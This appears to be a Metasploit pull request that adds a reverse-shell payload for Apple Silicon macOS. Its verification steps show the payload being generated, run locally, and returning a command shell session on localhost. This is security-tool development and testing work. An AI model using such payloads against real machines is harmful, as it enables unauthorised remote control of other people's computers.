Add osx aarch64 shell reverse tcp payload

[AlanFoster]

Continuation of #18646

Adds a new osx/aarch64/shell_reverse_tcp payload that can connect back to attacker and spawn a command shell using the user provided command via a execve system call on M1/M2/M3 Apple laptops.

Verification

1. On an M1 machine
2. Generate a payload:

msf6 payload(osx/aarch64/shell_reverse_tcp) > generate -f macho cmd=/bin/bash -o shell lhost=127.0.0.1
[*] Writing 50072 bytes to shell_again...

3. Create a listener to_handler
4. chmod and execute:

➜  metasploit-framework git:(add-osx-aarch64-exec-payload) ✗ chmod +x ./shell 
➜  metasploit-framework git:(add-osx-aarch64-exec-payload) ✗ ./shell 

4. Receive shell

msf6 payload(osx/aarch64/shell_reverse_tcp) > [*] Command shell session 1 opened (127.0.0.1:4444 -> 127.0.0.1:55299) at 2024-01-02 14:16:00 +0000

msf6 payload(osx/aarch64/shell_reverse_tcp) > sessions

Active sessions
===============

  Id  Name  Type        Information  Connection
  --  ----  ----        -----------  ----------
  1         shell unix               127.0.0.1:4444 -> 127.0.0.1:55299 (127.0.0.1)

msf6 payload(osx/aarch64/shell_reverse_tcp) > sessions -i -1 -c whoami
[*] Running 'whoami' on shell session -1 (127.0.0.1)
user

[AlanFoster]

The assembler library doesn't support labels; Will comment out for now - and circle back if/when it's implemented upstream

[cgranleese-r7]

Release Notes

Add osx aarch64 shell reverse tcp payload.